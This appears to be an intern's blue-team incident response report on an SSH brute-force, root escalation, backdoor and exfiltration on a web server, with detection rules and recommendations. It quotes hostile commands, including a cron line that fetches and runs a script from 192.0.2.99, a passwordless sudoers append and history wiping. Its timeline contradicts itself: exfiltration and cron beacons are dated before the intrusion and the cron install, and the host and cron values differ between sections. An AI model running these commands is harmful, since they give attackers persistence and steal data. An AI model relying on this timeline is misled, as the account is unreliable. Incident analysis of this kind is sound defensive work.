



CRYPTONIC AREA

Cyber Security & Ethical Hacking Internship Program

PROJECT 04 · BLUE TEAM

Security Monitoring & Incident Response Report

Somewhere in the noise, an attacker left a trace. Find it.

Name	Harmain Shah
Intern ID	CA0200
Host Investigated	webserver01
Log Sources	auth.log syslog.log
Investigation Period	09 March – 11 March (logs span)
Incident Window	10 March 2024, 03:14 – 06:33 (primary attack)
Report Date	29 July 2026

1. EXECUTIVE SUMMARY

This Incident Response Report documents a **multi-stage attack** detected on the production web server **webserver01** beginning at **03:14 on 10 March 2024**. Analysis of **auth.log** and **syslog.log** reveals a coordinated intrusion that progressed through SSH brute-force, credential compromise, privilege escalation, backdoor installation, and data exfiltration — all within a 35-minute window.

Category	Finding	Count / Detail
SSH Brute-Force Attempts	Invalid user probes from 198.51.100.23	40+ attempts (03:14–03:38)
Targeted User Attack	Repeated failed logins against "backup" account	8 failures before success
Successful Intrusion	Password login to "backup" from 198.51.100.23	03:45:16
Privilege Escalation	sudo /bin/bash — full root shell obtained	03:46:21
Backdoor Account Created	New user "sysupdate" added to sudo group	03:47:11
Persistence Mechanism	Malicious cron job injected into root crontab	03:48:26
Data Exfiltration	Web root + nginx config archived & sent to 192.0.2.99	03:23–03:24
C2 Beacon	curl http://192.0.2.99/update.sh bash every 10 min	03:20, 03:30, 03:40+
Evidence Tampering	bash_history wiped; history -c run	03:48:51–03:48:59
Second Login	Backdoor account "sysupdate" logged in from same IP	06:03:19

2. DETAILED LOG ANALYSIS

2.1 Normal Activity Baseline (09 March)

The logs from **09 March** establish a clean baseline of expected system behaviour. All activity is consistent with routine server operations:

Time	Event	User/Process	Assessment
06:10–23:52	certbot TLS renewal cron jobs	root	Normal — scheduled task
07:27	SSH login via public-key	aritra (from 203.0.113.7)	Normal — key-based auth
17:58	SSH login via public-key	deploy (from 203.0.113.22)	Normal — key-based auth
08:56–23:52	sudo tail nginx logs / systemctl restart nginx	aritra, ubuntu, deploy	Normal — admin ops
09:32–17:23	New sessions created	ubuntu, aritra, deploy	Normal — interactive logins
Periodic	DHCP lease renewals on eth0	kernel	Normal — dynamic IP renewal
Periodic	logrotate cron jobs	root	Normal — log maintenance

2.2 Attack Timeline — 10 March 2024 (03:14 – 06:33)

A complete departure from baseline activity begins at **03:14:02**. The attacker IP **198.51.100.23** launches a sustained SSH dictionary/brute-force campaign targeting non-existent and existing system users on port 22.

Timestamp	Log Entry (Summarised)	Source IP	Event Type
03:14:02	Invalid user "database" — Failed password	198.51.100.23	Brute-Force Start
03:14:35	Invalid user "postgres" — Failed password	198.51.100.23	User Enumeration
03:15:17	Invalid user "pi" — Failed password	198.51.100.23	User Enumeration
03:16:34–03:22	Invalid users: database, support, admin, www-data, test...	198.51.100.23	Dictionary Attack (20+ probes)
03:22:29–03:37	Invalid: pi, oracle, postgres, www-data, git, user, backup, vagrant, guest...	198.51.100.23	Continued Dictionary Sweep
03:32:29	Disconnecting: Too many authentication failures	198.51.100.23	Rate limit / MaxAuthTries hit
03:38:21–03:43:56	Failed password for "backup" × 8 attempts	198.51.100.23	Targeted Attack on Real Account
03:45:16	Accepted password for "backup" — session opened	198.51.100.23	INTRUSION SUCCESSFUL
03:45:36	sudo: backup → root: /usr/bin/id	198.51.100.23	Privilege Escalation Step 1
03:45:41	sudo: backup → root: /usr/bin/cat /etc/sudoers	198.51.100.23	Privilege Recon
03:46:21	sudo: backup → root: /bin/bash	198.51.100.23	Full Root Shell Obtained
03:47:11	useradd: new user sysupdate (UID=1002, GID=1002)	root shell	Backdoor Account Created
03:47:19	passwd: password changed for sysupdate	root shell	Backdoor Account Setup
03:47:31	usermod -aG sudo sysupdate	root shell	Privilege Granted to Backdoor

Timestamp	Log Entry (Summarised)	Source IP	Event Type
03:47:46	echo 'sysupdate ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers	root shell	Passwordless Sudo Persistence
03:48:26	crontab: */10 * * * * curl -s http://192.0.2.99/update.sh bash	root shell	Malicious Cron / C2 Beacon Installed
03:48:51	echo > /home/backup/.bash_history	root shell	Evidence Tampering
03:48:59	history -c	root shell	History Cleared
03:49:19	Session closed for user backup	—	Attacker Disconnects

2.3 Syslog Corroboration of Attack

The syslog independently corroborates the auth.log findings and reveals additional attack activity not visible in auth.log alone:

Timestamp	Syslog Entry	Significance
03:20:04	CRON[4406]: (root) CMD (curl -s http://192.0.2.99/update.sh bash)	First C2 beacon execution — malicious cron already active
03:20:05	IPTABLES-OUT: SRC=10.0.0.15 DST=192.0.2.99 DPT=443 SYN	Outbound connection to C2 server confirmed by firewall log
03:23:10	EXECVE: /bin/tar czf /tmp/.cache_bkp.tar.gz /var/www/html /etc/nginx	Web root + nginx config archived — DATA STAGING
03:23:40	systemd: Started Session c1031 of user root	Root session opened (post-escalation)
03:23:55–03:24:00	IPTABLES-OUT: PSH+ACK, FIN — large packets to 192.0.2.99:443	DATA EXFILTRATION — archive sent to C2
03:30:06 & 03:40:11	CRON: curl -s http://192.0.2.99/update.sh bash (repeat)	C2 beacon repeating every 10 minutes as configured

2.4 Post-Attack Activity

After the primary attack window, the backdoor account is used to re-enter the system, and normal operations resume — masking the compromise from regular users.

Timestamp	Event	Assessment
06:03:19	sshd: Accepted password for sysupdate from 198.51.100.23	Attacker returns via backdoor account
06:03–06:33	30-min session for sysupdate (actions not fully logged)	Possible further reconnaissance or tool deployment
06:33:19	Session closed for sysupdate	Attacker exits
12:10	Failed password for root from 198.51.100.23	Attacker probes root login directly
12:40	Failed password for admin from 198.51.100.23	Continued probing post-intrusion
17:07 onward	Normal logins by aritra, ubuntu, deploy (public-key)	Legitimate users — unaware of compromise

3. DETECTION LOGIC & ALERT RULES

The following detection rules, based on observed attack patterns, should be implemented in a SIEM (e.g. Splunk, Elastic SIEM, Wazuh) or IDS/IPS to alert on similar activity.

Rule ID	Condition	Severity	Why Alert	Action
RULE-01	≥10 "Failed password" events from a single IP within 5 minutes	HIGH	Automated password spraying / dictionary attack in progress	Block IP at firewall; alert SOC; add IP to threat feed
RULE-02	≥5 "Invalid user" events from a single IP within 3 minutes	MEDIUM	Attacker scanning for valid usernames before targeting	Block IP; log all usernames attempted for credential monitoring
RULE-03	"Accepted password" from IP that had ≥5 prior "Failed password" events	CRITICAL	Brute-force succeeded — active intrusion imminent	Isolate session; force password reset; escalate to Tier 2 SOC
RULE-04	SSH "Accepted password" from IP not in approved allowlist (203.0.113.x)	HIGH	Service accounts like "backup" should use key-based auth only	Terminate session; lock account; investigate IP
RULE-05	sudo events between 22:00–06:00 from non-scheduled accounts	HIGH	03:45–03:49 sudo activity by "backup" falls entirely outside normal hours	Alert on-call engineer; review sudo commands executed
RULE-06	useradd or adduser events outside change-management window	HIGH	Attacker created "sysupdate" account for persistent backdoor access	Disable new account; review /etc/passwd and /etc/shadow; escalate
RULE-07	"NOPASSWD" or "ALL=(ALL)" appended to /etc/sudoers via shell redirect	CRITICAL	Gives attacker permanent passwordless root — highest severity persistence	Revert sudoers to known-good; audit all sudo grants; isolate system
RULE-08	crontab write containing "curl bash", "wget sh", or external IPs	CRITICAL	C2 beacon injected — server phones home every 10 minutes to 192.0.2.99	Remove cron entry; block C2 IP; scan for downloaded payloads
RULE-09	IPTABLES-OUT to IP not in approved external service allowlist	HIGH	Exfiltration to 192.0.2.99; multiple PSH/ACK+FIN packets confirm data transfer	Block IP at perimeter; capture traffic; initiate data breach assessment
RULE-10	tar/zip creation targeting /var/www, /etc, /home to /tmp with hidden name	MEDIUM	/tmp/.cache_bkp.tar.gz staged web root + nginx config for exfiltration	Hash and preserve file; quarantine; begin forensic analysis
RULE-11	"echo > .bash_history" or "history -c" in audit logs	HIGH	Attacker wiped bash_history to destroy forensic evidence	Increase auditd logging; recover history from shell session logs
RULE-12	Same cron CMD "curl -s http://[IP]/[script] bash" firing every ≤10 min	CRITICAL	Active C2 channel — server is under ongoing remote control	Block C2 IP; remove cron; full system re-image recommended

4. INCIDENT CLASSIFICATION & RESPONSE

Each confirmed incident is classified by severity, assessed for impact, and paired with recommended response actions.

INC-001: SSH Brute-Force Campaign

HIGH

Time Window	10 Mar 03:14:02 – 03:38:21
Source IP	198.51.100.23 (unknown / malicious)
Target	SSH port 22 — 40+ attempts against database, postgres, pi, admin, support, backup, etc.
Technique	Dictionary/credential stuffing attack — systematic list of common usernames
Impact	Noise and resource consumption; led directly to INC-002
Severity Justification	Multiple automated probes; clear automated attack tooling; precursor to successful breach
Immediate Response	Block 198.51.100.23 at firewall/security group immediately
Further Actions	Enable fail2ban with threshold 5 failures → 10-min ban; Alert SOC; add IP to threat feed

INC-002: Successful SSH Intrusion via "backup" Account

CRITICAL

Time	10 Mar 03:45:16
Source IP	198.51.100.23
Method	Password authentication (after 8 failed attempts) — "backup" account had a weak/guessable password
Session	Session 925 opened for user backup
Impact	Attacker gains interactive shell on production web server as a non-root service account
Severity Justification	Active intrusion confirmed; service account compromise on internet-facing server
Immediate Response	Terminate active session; lock backup account; block IP; escalate to Tier 2 SOC
Further Actions	Reset backup account password; enforce public-key only for all service accounts; audit all accounts

INC-003: Privilege Escalation to Root

CRITICAL

Time	10 Mar 03:45:36 – 03:46:21
Commands	sudo /usr/bin/id → sudo /usr/bin/cat /etc/sudoers → sudo /bin/bash
Outcome	Full root shell obtained by attacker — complete server control achieved
Root Cause	The "backup" account had sudo privileges (misconfiguration)
Impact	Total system compromise — attacker can read, modify, or delete any file; install any software
Severity Justification	Root-level access on a production web server is maximum severity
Immediate Response	Isolate server from network (if possible); remove sudo from backup account
Further Actions	Audit /etc/sudoers; apply principle of least privilege to all accounts; review PAM configuration

INC-004: Backdoor Account "sysupdate" Created**CRITICAL**

Time	10 Mar 03:47:11 – 03:47:46
Commands	useradd sysupdate; passwd sysupdate; usermod -aG sudo sysupdate; echo sysupdate ALL=(ALL) NOPASSWD:ALL >> /etc/sudoers
Account	sysupdate (UID=1002, GID=1002) — passwordless sudo, permanent backdoor
Impact	Attacker has persistent root access even if "backup" account is secured
Severity Justification	Persistence mechanism = attacker can re-enter indefinitely; confirmed in INC-008
Immediate Response	Delete sysupdate account immediately; revert /etc/sudoers; block 198.51.100.23
Further Actions	Audit all user accounts created since last known-good state; enable auditing of useradd events

INC-005: Malicious Cron Job / C2 Beacon Installed**CRITICAL**

Time	10 Mar 03:48:26 (installed); 03:20, 03:30, 03:40 (executing)
Cron Entry	*/10 * * * * curl -s http://192.0.2.99/update.sh bash
C2 Server	192.0.2.99 — attacker-controlled command-and-control server
Behaviour	Every 10 minutes: downloads and executes remote script — attacker can push arbitrary commands
Impact	Ongoing remote code execution; server acts as bot; further payloads can be deployed at any time
Severity Justification	Active C2 channel = server is under continuous attacker control
Immediate Response	Remove cron entry immediately; block 192.0.2.99 at network perimeter; kill any active curl processes
Further Actions	Scan for other cron entries; check /etc/cron.d, /etc/crontab, /var/spool/cron; re-image recommended

INC-006: Data Staging & Exfiltration**HIGH**

Time	10 Mar 03:23:10 (staging); 03:23:55–03:24:00 (exfiltration)
Archive	tar czf /tmp/.cache_bkp.tar.gz /var/www/html /etc/nginx
Destination	192.0.2.99:443 — confirmed by IPTABLES-OUT PSH+ACK and FIN packets
Data Stolen	Web application source code (/var/www/html) + nginx configuration (/etc/nginx)
Impact	Intellectual property theft; web app source code exposure; nginx config may reveal internal topology
Severity Justification	Confirmed data exfiltration of production web assets to external attacker server
Immediate Response	Block 192.0.2.99; preserve /tmp/.cache_bkp.tar.gz for forensics; notify data protection officer
Further Actions	Assess sensitivity of stolen data; consider breach notification obligations; rotate all secrets in web app config

INC-007: Evidence Tampering**MEDIUM**

Time	10 Mar 03:48:51 – 03:48:59
Commands	echo > /home/backup/.bash_history; history -c
Intent	Destroy forensic evidence of attacker commands executed during the session
Impact	Partial loss of command history; however, audit logs and syslog retained evidence
Severity Justification	Deliberate anti-forensics — attacker is sophisticated and aware of defensive monitoring
Immediate Response	Enable auditd with EXECVE logging if not already; collect all remaining logs immediately
Further Actions	Implement immutable logging (forward to remote syslog); use auditd to capture all command executions

INC-008: Backdoor Account Re-Entry (sysupdate)**HIGH**

Time	10 Mar 06:03:19 – 06:33:19
Account	sysupdate from 198.51.100.23
Session Duration	30 minutes — actions not fully captured in available logs
Impact	Attacker maintained access and likely conducted further reconnaissance or payload deployment
Severity Justification	Confirms persistence mechanism is active; 30-min session with limited visibility is highly concerning
Immediate Response	Delete sysupdate account; block IP; investigate what occurred during the 30-min session
Further Actions	Enable full auditd EXECVE capture; consider re-imaging the server as a precaution

5. INCIDENT CLASSIFICATION SUMMARY TABLE

ID	Incident	Severity	Time (10 Mar)	Status	Priority
INC-001	SSH Brute-Force (40+ attempts)	HIGH	03:14–03:38	Confirmed	P2
INC-002	Successful SSH login via "backup"	CRITICAL	03:45:16	Confirmed	P1
INC-003	Privilege escalation to root	CRITICAL	03:45:36–03:46:21	Confirmed	P1
INC-004	Backdoor account "sysupdate" created	CRITICAL	03:47:11	Confirmed	P1
INC-005	C2 beacon / malicious cron installed	CRITICAL	03:48:26	Active	P1
INC-006	Data staging & exfiltration to C2	HIGH	03:23:10–03:24:00	Confirmed	P1
INC-007	Evidence tampering (bash history)	MEDIUM	03:48:51–03:48:59	Confirmed	P2
INC-008	Backdoor re-entry (sysupdate)	HIGH	06:03–06:33	Confirmed	P1
INC-009	Post-compromise root/admin probes	LOW	12:10, 12:40	Monitoring	P3

CRITICAL	Confirmed breach / active root access / data exfiltration / C2 active
HIGH	Successful unauthorised access / persistence / significant data risk
MEDIUM	Anti-forensics / supporting attack activity
LOW	Continued probing / noise post-incident

6. INCIDENT HANDLING WORKFLOW

The NIST SP 800-61 incident response lifecycle was applied to this investigation. Below is the workflow applied to this specific incident:

1. DETECTION

■ 03:14 (attack start) / identified in log review

- SSH brute-force triggers Rule-01 (≥ 10 failures from single IP within 5 min).
- SIEM / fail2ban should have alerted immediately at 03:14.
- syslog C2 beacon at 03:20 provides secondary detection signal.
- In this case, detection was retrospective via manual log analysis.

2. TRIAGE & ALERT

■ Immediate on detection

- Classify as CRITICAL based on brute-force → successful login → privilege escalation chain.
- Notify Tier 2 SOC analyst and Security Manager on-call.
- Open incident ticket with timestamp, source IP, and affected accounts.

3. INVESTIGATION

■ Log analysis: auth.log + syslog.log

- Correlate auth.log and syslog timestamps to reconstruct full attack timeline.
- Identify all attacker IPs: 198.51.100.23 (attacker), 192.0.2.99 (C2 server).
- Confirm exfiltration target, backdoor accounts, and persistence mechanisms.
- Preserve logs and /tmp/.cache_bkp.tar.gz as evidence before any remediation.

4. CONTAINMENT

■ Immediate priority

- Block 198.51.100.23 and 192.0.2.99 at perimeter firewall.
- Terminate any active sessions for "backup" and "sysupdate".
- If isolating the server is feasible, take it offline for forensic imaging.
- If it must remain online: kill malicious cron; block C2 IP at host firewall (iptables -A OUTPUT -d 192.0.2.99 -j DROP).

5. ERADICATION

■ Remove all attacker footholds

- Delete backdoor account: `userdel -r sysupdate`
- Remove malicious cron entry from root crontab.
- Revert /etc/sudoers to last known-good backup.
- Lock backup account; enforce public-key only SSH.
- Kill any running update.sh processes; remove dropped files from /tmp.

- Scan filesystem for additional persistence: .ssh/authorized_keys, /etc/cron.d, systemd services.

6. RECOVERY

■ Restore to
secure
operational state

- Rotate all secrets found in web application config and /etc/nginx.
- Restore web root from last clean backup if integrity cannot be verified.
- Re-enable server with hardened SSH config (disable password auth, PermitRootLogin no).
- Monitor closely for 72 hours post-recovery with enhanced logging.
- Validate all cron jobs, user accounts, and sudo grants are legitimate.

7. POST-INCIDENT REVIEW

■ Within 5
business days

- Document full attack chain and lessons learned.
- Identify why fail2ban / SIEM did not alert in real time.
- Review why "backup" account had sudo privileges and a weak password.
- Implement all recommendations from Section 7 of this report.
- Conduct a tabletop exercise to test updated incident response playbook.

7. SECURITY RECOMMENDATIONS

The following hardening measures directly address the vulnerabilities exploited in this incident. Each is mapped to a root cause identified in the log analysis.

ID	Recommendation	Priority	Maps To	Description
REC-01	Disable SSH Password Authentication	CRITICAL	INC-002	All service and admin accounts must use SSH public-key authentication only. Set PasswordAuthentication no in /etc/ssh/sshd_config. The "backup" account should never have had password login enabled.
REC-02	Implement fail2ban with Aggressive Thresholds	HIGH	INC-001	Configure fail2ban to ban an IP after 5 SSH failures within 60 seconds for a minimum of 1 hour. The 40+ brute-force attempts should have resulted in an automatic ban within the first 2 minutes.
REC-03	Apply Principle of Least Privilege to All Accounts	CRITICAL	INC-003	Service accounts like "backup" must never have sudo rights. Audit all accounts in /etc/sudoers and /etc/sudoers.d. Remove all unnecessary sudo grants immediately.
REC-04	Harden sudoers — Remove NOPASSWD Grants	CRITICAL	INC-004	Never allow NOPASSWD sudo for any account. Require password for all sudo operations. Monitor /etc/sudoers for modifications using auditd or a file integrity monitor (FIM).
REC-05	Deploy a File Integrity Monitor (FIM)	HIGH	INC-004/005	Use AIDE, Tripwire, or Wazuh FIM to alert on changes to /etc/sudoers, /etc/cron*, /etc/passwd, /etc/shadow, and /var/www/html. Any unauthorised modification generates an immediate alert.
REC-06	Block Outbound curl bash and Unrecognised IPs	HIGH	INC-005/006	Implement egress firewall rules to block outbound connections to non-approved external IPs. Use an application firewall or proxy to prevent curl bash patterns. The C2 connection to 192.0.2.99 should have been blocked before exfiltration occurred.
REC-07	Centralised Immutable Logging	HIGH	INC-007	Forward all logs in real time to a remote, write-protected SIEM (Splunk, Elastic, or Wazuh). Attackers cleared local bash history — remote logging would have preserved the full command record.
REC-08	Enable auditd with EXECVE Rules	HIGH	INC-007	Configure auditd to log all command executions (EXECVE), file writes to sensitive paths, and privilege escalation events. This provides forensic detail that sshd logs alone do not capture.
REC-09	Regular Account Audits	MEDIUM	INC-004/008	Weekly automated check: compare /etc/passwd and /etc/shadow against an approved baseline. Alert on any new UID ≤1000 accounts or accounts added outside change-management windows.
REC-10	Network Segmentation & Egress Filtering	HIGH	INC-006	The web server should have no unrestricted outbound internet access. Only specific ports/IPs (OS updates, CDN, DNS) should be allowed outbound. This would have prevented both C2 communication and data exfiltration.

8. INDICATORS OF COMPROMISE (IOCS)

IOC Type	Value	Source	Context
IP Address	198.51.100.23	auth.log	Attacker source IP — brute-force + intrusion
IP Address	192.0.2.99	syslog.log	C2 / exfiltration server
Username	backup	auth.log	Compromised account — entry point
Username	sysupdate	auth.log	Backdoor account created by attacker (UID=1002)
File Path	/tmp/.cache_bkp.tar.gz	syslog.log	Staged archive of web root + nginx config
URL	http://192.0.2.99/update.sh	syslog.log	Malicious C2 script downloaded and executed
Cron Entry	*/* * * * curl -s http://192.0.2.99/update.sh bash	auth.log	Persistence mechanism — root crontab
Sudo Rule	sysupdate ALL=(ALL) NOPASSWD:ALL	auth.log	Backdoor privilege escalation path
Port	TCP/443 (DPT=443)	syslog.log	Exfiltration channel to C2 (HTTPS port — bypasses basic filtering)
Host	webmail01	syslog.log	Affected system

END OF INCIDENT RESPONSE REPORT

Prepared by: Harmain Shah | Intern ID: CA0200 | Cryptonic Area Internship Program